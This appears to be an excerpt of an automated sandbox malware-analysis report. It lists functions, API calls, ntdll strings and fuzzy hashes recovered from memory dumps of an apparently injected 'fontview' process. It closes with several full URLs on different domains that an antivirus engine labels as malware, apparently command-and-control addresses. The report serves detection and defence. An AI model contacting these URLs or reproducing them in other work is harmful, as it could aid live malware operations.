API String ID: 3514427675-0
Opcode ID: c2445289eda9555fc45807dccd409e16db2224c0dcfe84a935c880136f7ad117
Instruction ID: 4ef2c17557cf1828dd9aa642265a11465ff3bc3a516d0227c2a84c9994b9450c
Opcode Fuzzy Hash: c2445289eda9555fc45807dccd409e16db2224c0dcfe84a935c880136f7ad117
Instruction Fuzzy Hash: F5F034B6640204BFDB10DF58DC40EEB77ADAF89710F108019B908A7201C630A9218BB0

Uniqueness

Uniqueness Score: -1.00%

Function 02A3994F Relevance: 1.5, APIs: 1, Instructions: 33threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNELBASE(00000000,00000000,-00000002,?,00000000,00000000), ref: 02A39995

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 27db7e4f1c40180deb40fba969c72951f2438392983526302a12986646610f5b
Instruction ID: fa99d2a4eb66ebcf6ab05d10af9cd1b37fafcb7b595e5c540ad371bb3a66de39
Opcode Fuzzy Hash: 27db7e4f1c40180deb40fba969c72951f2438392983526302a12986646610f5b
Instruction Fuzzy Hash: 0FE0927228031037E23162A98C02FD7B28CCB81B60F210019FA0DAB1C0DDA6B94146A9

Uniqueness

Uniqueness Score: -1.00%

Function 02A543E0 Relevance: 1.5, APIs: 1, Instructions: 31COMMON

Download Yara Rule

APIs

RtlDosPathNameToNtPathName_U.NTDLL(?,?,?,?), ref: 02A54423

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Path$NameName_
String ID:
API String ID: 3514427675-0
Opcode ID: ece5c4e44c802038c3c00ab1117330d67c0bc9679ff817112f1a7c9b98d1d4e2
Instruction ID: 5f44e89a4c3a6238c27d260dc03cfda1fe29b4af507cbc046e91002b02e2ef27
Opcode Fuzzy Hash: ece5c4e44c802038c3c00ab1117330d67c0bc9679ff817112f1a7c9b98d1d4e2
Instruction Fuzzy Hash: 05F015B5200208BBDA10EF59DC40EAB77ADEF89710F008009B918A7241DA30B9618BB5

Uniqueness

Uniqueness Score: -1.00%

Function 02A55500 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(02A42003,?,02A535E3,02A42003,02A535D7,02A535E3,?,02A42003,02A535D7,00001000,?,?,02A56D40), ref: 02A5553F

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e1c311fbd65a32222058b270af25a25db7b17eb137dc85a2ea9762b5d7bcab8f
Instruction ID: c6d1092d8ede1a4908cbe4fe7c325c79c6b546e6efc60daa7decb13725038dfb
Opcode Fuzzy Hash: e1c311fbd65a32222058b270af25a25db7b17eb137dc85a2ea9762b5d7bcab8f
Instruction Fuzzy Hash: D7E065B22403047FDA10EE99EC45FAB77ADEFC9B10F008409F908A7241DA30BA108BB5

Uniqueness

Uniqueness Score: -1.00%

Function 02A55550 Relevance: 1.5, APIs: 1, Instructions: 29memoryCOMMON

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(00000000,00000004,00000000,8BF45503,00000007,00000000,00000004,00000000,02A439AF,000000F0,?,?,?,?,00000000), ref: 02A5558F

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 973832adfc58f53b01a8be7ba7dbe50df262dfa26736ccdf8cacf5f7a2515294
Instruction ID: 08640acaf44785875cf573a4ffa549674d4d25b11c06ba0bf77f8515fa8c956b
Opcode Fuzzy Hash: 973832adfc58f53b01a8be7ba7dbe50df262dfa26736ccdf8cacf5f7a2515294
Instruction Fuzzy Hash: EBE065B22403057BDA10EE98DC41FEB73ADEFC9B10F004019F908A7241DA30B9108BB9

Uniqueness

Uniqueness Score: -1.00%

Function 02A47670 Relevance: 1.5, APIs: 1, Instructions: 27COMMON

Download Yara Rule

APIs

GetFileAttributesW.KERNELBASE(?), ref: 02A4769C

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: daadd9a1ddf99c42297cf972137ca56b7fa0b44c7aa5197b290b57de65c78fb7
Instruction ID: c0d53d0402b945544a7d923000e2c78bd3fd79c36196c443b4353d352126220a
Opcode Fuzzy Hash: daadd9a1ddf99c42297cf972137ca56b7fa0b44c7aa5197b290b57de65c78fb7
Instruction Fuzzy Hash: 01E0867129030427EF246BBCDC86F66735D8BC9728F294660B91CDB2C1EFB8F5019250

Uniqueness

Uniqueness Score: -1.00%

Function 02A54472 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

RtlDosPathNameToNtPathName_U.NTDLL(?,?,?,?), ref: 02A54423

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: Path$NameName_
String ID:
API String ID: 3514427675-0
Opcode ID: d543bc7ea2c4917e9d630e4f6826782573a037eb49ab14810ce78e9d456bfdb1
Instruction ID: 56bd2c21e0ec26719c9bdfc02c59a00accd66269219e4bccf692bc0ef4cbbe6a
Opcode Fuzzy Hash: d543bc7ea2c4917e9d630e4f6826782573a037eb49ab14810ce78e9d456bfdb1
Instruction Fuzzy Hash: F6E0ECB9204206AF9B08EF58E851CAB7B75EFC96107108146FC1887656D630D965CBB1

Uniqueness

Uniqueness Score: -1.00%

Function 02A47480 Relevance: 1.5, APIs: 1, Instructions: 21COMMON

Download Yara Rule

APIs

SetErrorMode.KERNELBASE(00008003,?,?,02A41ADA,02A42249,02A535D7,00000000), ref: 02A474B3

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: b48985f2fe184756bdc58c28baab54ef7dafb5f5469c6f46e1ae8c008718acbc
Instruction ID: d979b24e4baad6803214c8ce0b20d83e66f7f556c5873ffe861ce63463865a16
Opcode Fuzzy Hash: b48985f2fe184756bdc58c28baab54ef7dafb5f5469c6f46e1ae8c008718acbc
Instruction Fuzzy Hash: 35D02EB12C03003BF201ABF19C46F26B28C5B44790F024024B90CE72C0ED74E1004661

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2C0A Relevance: 1.5, APIs: 1, Instructions: 8libraryCOMMONLIBRARYCODE

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL ref: 04AB2C24

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 816464059656139519a81d9d8e73f7ca621b553d11238896cb94d33e200287b6
Instruction ID: 3d16c97899eed06efe7d4dbfc7d642d4d76ddc12df9d7846b4a482e759986a3c
Opcode Fuzzy Hash: 816464059656139519a81d9d8e73f7ca621b553d11238896cb94d33e200287b6
Instruction Fuzzy Hash: 74B04C729015C585EA51A76046087167A046B91706F56C066D2420641A4729D591E1B5

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 02A3E36F Relevance: .0, Instructions: 17COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000C.00000002.3728408141.0000000002A30000.00000040.80000000.00040000.00000000.sdmp, Offset: 02A30000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_2a30000_fontview.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 816e1d47ed275d67d64079513bef308f261f24e1b4a17867bac4290b34ce0f13
Instruction ID: 8fdac4adc68b6227820289ae248b2725e010e441d5c3c36afee045678b46bf41
Opcode Fuzzy Hash: 816e1d47ed275d67d64079513bef308f261f24e1b4a17867bac4290b34ce0f13
Instruction Fuzzy Hash: E9C01232E1141457CA118D0DAC412B5F374DB46224F005252EC4C97501D222F57985C9

Uniqueness

Uniqueness Score: -1.00%

Function 04AB2890 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 190COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 04AB293C
___swprintf_l.LIBCMT ref: 04AB295E
___swprintf_l.LIBCMT ref: 04AB29A3
___swprintf_l.LIBCMT ref: 04AEA52E

Strings

::ffff:0:%u.%u.%u.%u, xrefs: 04AEA54E
::%hs%u.%u.%u.%u, xrefs: 04AEA527
ffff:, xrefs: 04AEA504
:%u.%u.%u.%u, xrefs: 04AEA5B8

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 87d3d8eb3062052e7ce828ed59ff7afedcddf4a88a9a006ced61507f955c675c
Instruction ID: a63f1dd75496701c63b59e4afffdfd7e0ce06ae62a117481c9406e9361c8f37d
Opcode Fuzzy Hash: 87d3d8eb3062052e7ce828ed59ff7afedcddf4a88a9a006ced61507f955c675c
Instruction Fuzzy Hash: BA51CAB6A04116BFDB10DF9989946BEF7BCBB48204714816AE4E9D7642D334FE5087E0

Uniqueness

Uniqueness Score: -1.00%

Function 04B22410 Relevance: 17.7, APIs: 6, Strings: 4, Instructions: 189COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 04B224A6
___swprintf_l.LIBCMT ref: 04B224E2
___swprintf_l.LIBCMT ref: 04B2257D
___swprintf_l.LIBCMT ref: 04B225A3
___swprintf_l.LIBCMT ref: 04B225C8
___swprintf_l.LIBCMT ref: 04B22608

Strings

:%u.%u.%u.%u, xrefs: 04B225FF
::ffff:0:%u.%u.%u.%u, xrefs: 04B224DA
ffff:, xrefs: 04B2247D, 04B2249D
::%hs%u.%u.%u.%u, xrefs: 04B2249E

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: ___swprintf_l
String ID: :%u.%u.%u.%u$::%hs%u.%u.%u.%u$::ffff:0:%u.%u.%u.%u$ffff:
API String ID: 48624451-2108815105
Opcode ID: 9b01e79233927e7249c318f8739f75b2fd69dc97bd73ca5ad9547837739329cf
Instruction ID: 7adc42525d4ebdbb058bbf8de3f888c2a1e4e38ed74dc0ffdc9b653fddc73132
Opcode Fuzzy Hash: 9b01e79233927e7249c318f8739f75b2fd69dc97bd73ca5ad9547837739329cf
Instruction Fuzzy Hash: 9F510771A00656AFDF38DE9CCA9087EB7F8EF48204B04C4D9E59AD7641E674FA40C760

Uniqueness

Uniqueness Score: -1.00%

Function 04AA7630 Relevance: 14.2, APIs: 1, Strings: 7, Instructions: 194COMMON

Download Yara Rule

Strings

CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions, xrefs: 04AE4655
CLIENT(ntdll): Processing %ws for patching section protection for %wZ, xrefs: 04AE4742
CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ, xrefs: 04AE4725
Execute=1, xrefs: 04AE4713
CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database, xrefs: 04AE46FC
CLIENT(ntdll): Processing section info %ws..., xrefs: 04AE4787
ExecuteOptions, xrefs: 04AE46A0

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID:
String ID: CLIENT(ntdll): Found CheckAppHelp = %d for %wZ in ImageFileExecutionOptions$CLIENT(ntdll): Found Execute=1, turning off execution protection for the process because of %wZ$CLIENT(ntdll): Found ExecuteOptions = %ws for %wZ in application compatibility database$CLIENT(ntdll): Processing %ws for patching section protection for %wZ$CLIENT(ntdll): Processing section info %ws...$Execute=1$ExecuteOptions
API String ID: 0-484625025
Opcode ID: 488b165022e05a135d6c313a22f30bc8f318bf1ba47cb33e298d868029200108
Instruction ID: b252bd9c0c22e0f2954dab2ab841d229095d151815de9eaf0b9aa42d2c2a299d
Opcode Fuzzy Hash: 488b165022e05a135d6c313a22f30bc8f318bf1ba47cb33e298d868029200108
Instruction Fuzzy Hash: BA51D775A00219BBEB21ABA5DD85BFB77B8EB08304F040099E505AB191E771FE558F90

Uniqueness

Uniqueness Score: -1.00%

Function 04ABB5EC Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 238COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 04ABB6BF

Strings

0, xrefs: 04ABB66F
0, xrefs: 04ABB695
+, xrefs: 04ABB65A
-, xrefs: 04ABB650

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-$0$0
API String ID: 1302938615-699404926
Opcode ID: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction ID: 6e430b7ab2a8cd477fca8f0670242458cd217c01c84ef3dc3a09aa0eb6cf918c
Opcode Fuzzy Hash: 53abcd45f1248799eb7edd6da4205106d70e70754ef1e870ff48280e40c18d32
Instruction Fuzzy Hash: CD816070E062499EDF24CFA8C8517EEBBB9AF45310F184659D8D1A7A92D634B88087F1

Uniqueness

Uniqueness Score: -1.00%

Function 04B220E0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 84COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 04B2214F
___swprintf_l.LIBCMT ref: 04B22172

Strings

[, xrefs: 04B2212B
%%%u, xrefs: 04B22146
]:%u, xrefs: 04B22169

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$[$]:%u
API String ID: 48624451-2819853543
Opcode ID: 504312d901b1c6cbae9a3158b9451a5b6ae56db8805bf8bd7f512b9c2b04cd4b
Instruction ID: 0bc4c61bb651cd1b03b7ab0155f1ec6e1efb9736ca8a6d5abdb36516e3bc4588
Opcode Fuzzy Hash: 504312d901b1c6cbae9a3158b9451a5b6ae56db8805bf8bd7f512b9c2b04cd4b
Instruction Fuzzy Hash: 2D215376A00129ABDB14DEA9CE40EEE77F8EF44645F040196E949E3201E730A9118BA1

Uniqueness

Uniqueness Score: -1.00%

Function 04A9F5B0 Relevance: 7.4, APIs: 1, Strings: 3, Instructions: 382COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 04AE031E
RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u, xrefs: 04AE02E7
RTL: Enter CriticalSection Timeout (%I64u secs) %d, xrefs: 04AE02BD

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID:
String ID: RTL: Enter CriticalSection Timeout (%I64u secs) %d$RTL: Pid.Tid %p.%p, owner tid %p Critical Section %p - ContentionCount == %u$RTL: Re-Waiting
API String ID: 0-2474120054
Opcode ID: 0cc9baa2b926bfa092fa476f2918ce31aaf1c3a22305279e865b6cfe3fa73341
Instruction ID: b1ec17e077f952e2078d1ed130e0cb3912f0f5e352d629bdb4dcf2a08b4d0efe
Opcode Fuzzy Hash: 0cc9baa2b926bfa092fa476f2918ce31aaf1c3a22305279e865b6cfe3fa73341
Instruction Fuzzy Hash: C5E1BE706087419FDB25CF28C984B6AB7E0BB88318F144A6DF5A5CB2E1E775F845CB42

Uniqueness

Uniqueness Score: -1.00%

Function 04AABED0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 129COMMON

Download Yara Rule

Strings

RTL: Re-Waiting, xrefs: 04AE7BAC
RTL: Acquire Exclusive Sem Timeout %d (%I64u secs), xrefs: 04AE7B7F
RTL: Resource at %p, xrefs: 04AE7B8E

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID:
String ID: RTL: Acquire Exclusive Sem Timeout %d (%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 0-871070163
Opcode ID: e6f97d800e339368c7b42151bc6bc63ebc9341570a8629f447a13fe0fbbd6049
Instruction ID: 67c9707724b2e07791e484c6dedbbdf1fe3d0ddb7b4093dcdb7fec33d3b3e173
Opcode Fuzzy Hash: e6f97d800e339368c7b42151bc6bc63ebc9341570a8629f447a13fe0fbbd6049
Instruction Fuzzy Hash: 3341E1353007029FD720DF25D940B6AB7E5EF88710F040A1DFA6A9B680DB31F8158BA1

Uniqueness

Uniqueness Score: -1.00%

Function 04AAB4C0 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 121COMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04AE728C

Strings

RTL: Re-Waiting, xrefs: 04AE72C1
RTL: Resource at %p, xrefs: 04AE72A3
RTL: Acquire Shared Sem Timeout %d(%I64u secs), xrefs: 04AE7294

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: RTL: Acquire Shared Sem Timeout %d(%I64u secs)$RTL: Re-Waiting$RTL: Resource at %p
API String ID: 885266447-605551621
Opcode ID: 4aaab1f4460484a243dd249e607d1065b99b0652872ca265cc8e00cfa2740183
Instruction ID: 37b337f810f3ae1ac819f986fdaa2f5e04e75ad11fe4b7170c97c23ec9e179d4
Opcode Fuzzy Hash: 4aaab1f4460484a243dd249e607d1065b99b0652872ca265cc8e00cfa2740183
Instruction Fuzzy Hash: 5241E235700202AFD720DF65CD41B6AB7A5FF84714F100619FA66EB241DB31F8529BE1

Uniqueness

Uniqueness Score: -1.00%

Function 04B22300 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 90COMMON

Download Yara Rule

APIs

___swprintf_l.LIBCMT ref: 04B2238D
___swprintf_l.LIBCMT ref: 04B223B3

Strings

%%%u, xrefs: 04B22384
]:%u, xrefs: 04B223AA

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: ___swprintf_l
String ID: %%%u$]:%u
API String ID: 48624451-3050659472
Opcode ID: b0731b7823864883ab0079e1be95b906337a09f92129f445ed3fbbaae14dbe97
Instruction ID: 2f31ec24e71fc4ef428bc262782d0501cc523e77a6c89f8f8ba51958a4f5f5f3
Opcode Fuzzy Hash: b0731b7823864883ab0079e1be95b906337a09f92129f445ed3fbbaae14dbe97
Instruction Fuzzy Hash: B83157726001299FDB64DE29CD40BEF77F8EF44614F4445D5E84DE3140EB30BA459BA1

Uniqueness

Uniqueness Score: -1.00%

Function 04AB7D61 Relevance: 5.5, APIs: 1, Strings: 2, Instructions: 284COMMON

Download Yara Rule

APIs

__aulldvrm.LIBCMT ref: 04AB7E8B

Strings

-, xrefs: 04AB7DDD
+, xrefs: 04AB7DE8

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: __aulldvrm
String ID: +$-
API String ID: 1302938615-2137968064
Opcode ID: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction ID: 2a715ce5bd03741c52d014097ca8f7c2e3ad6ac0e9c745894ef6a3467d3e668b
Opcode Fuzzy Hash: 0e72ee8b5e9315034f2b46ff5b251d52fedc42f24a18d50ff17db184198f4ea1
Instruction Fuzzy Hash: 9A91C774E002159EDB24DF69C8806FEB7BDAF84760F14451AE8D5E72C2E7B4A940C794

Uniqueness

Uniqueness Score: -1.00%

Function 04A79126 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 199COMMON

Download Yara Rule

Strings

$, xrefs: 04A79191
@, xrefs: 04A79175

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID:
String ID: $$@
API String ID: 0-1194432280
Opcode ID: b00e8900e2788e7035f16fa0b8cfa23ca6c16bb0243479215b98f1adcce49d5b
Instruction ID: 1d5813c415cf01c1282f88727b70c8e1a97e70c1bf8761ea7788df09cf235ed7
Opcode Fuzzy Hash: b00e8900e2788e7035f16fa0b8cfa23ca6c16bb0243479215b98f1adcce49d5b
Instruction Fuzzy Hash: B1811DB2D01269DBDB31DB54CD44BEAB7B8AB08754F0041DAE91AB7240E7346E84CFA0

Uniqueness

Uniqueness Score: -1.00%

Function 04AFCEA0 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 134COMMON

Download Yara Rule

APIs

@_EH4_CallFilterFunc@8.LIBCMT ref: 04AFCFBD

Strings

@, xrefs: 04AFCF0A
@4rw@4rw, xrefs: 04AFCFD5, 04AFCFDA, 04AFCFF1

Memory Dump Source

Source File: 0000000C.00000002.3735975826.0000000004A40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04A40000, based on PE: true

Associated: 0000000C.00000002.3735975826.0000000004B69000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004B6D000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 0000000C.00000002.3735975826.0000000004BDE000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_4a40000_fontview.jbxd

Similarity

API ID: CallFilterFunc@8
String ID: @$@4rw@4rw
API String ID: 4062629308-2979693914
Opcode ID: a33a953f52e05e20b23783652be734e3208296f83a0cf1f0f4ff94a8bc958f55
Instruction ID: 12dddc5f9cc89642246547dd6d4cb59d3b18840f83b253cfb94a5691b052e323
Opcode Fuzzy Hash: a33a953f52e05e20b23783652be734e3208296f83a0cf1f0f4ff94a8bc958f55
Instruction Fuzzy Hash: 3A416E72900218DFEB219FE9DD40AADBBB8FF44B14F00446AEE06DB251D738A901DB65

Uniqueness

Uniqueness Score: -1.00%

Source: http://www.littlehappiez.com/udwf/	Avira URL Cloud: Label: malware
Source: http://www.littlehappiez.com/udwf/?G0Yxd2Q=d3XFPJoaQLbhU6h03+z0XCc0ox6MaGmyEGZO6Ue9tsKz9KlFIum590y6ceFEWr4SYEQ/fNsJ5znTfk9k4b6SgMzLlK80QmTNVA==&vhQT=aV8PeNo0MvDl1	Avira URL Cloud: Label: malware
Source: http://www.otternaut.live/udwf/?G0Yxd2Q=pZ4HfquroA03Gi5vNwF4ItLuSTGmPoiR8InmRf339X8P+rCcKVr0Urjn620xlb/Iiubkhpo0DqZ1bcej5UiuLGGOXANOCS2GgQ==&vhQT=aV8PeNo0MvDl1	Avira URL Cloud: Label: malware
Source: http://www.tutorwave.online/udwf/?G0Yxd2Q=P+fiFlpl7OLgwg5VHMgiIoMqSXbT5qRAvhgaNfc+psLdu/aEMeH5P0Irdy+G4rOOLUFD4nVEMYENkV+qciPdkHTOCgwyI1K3xg==&vhQT=aV8PeNo0MvDl1	Avira URL Cloud: Label: malware
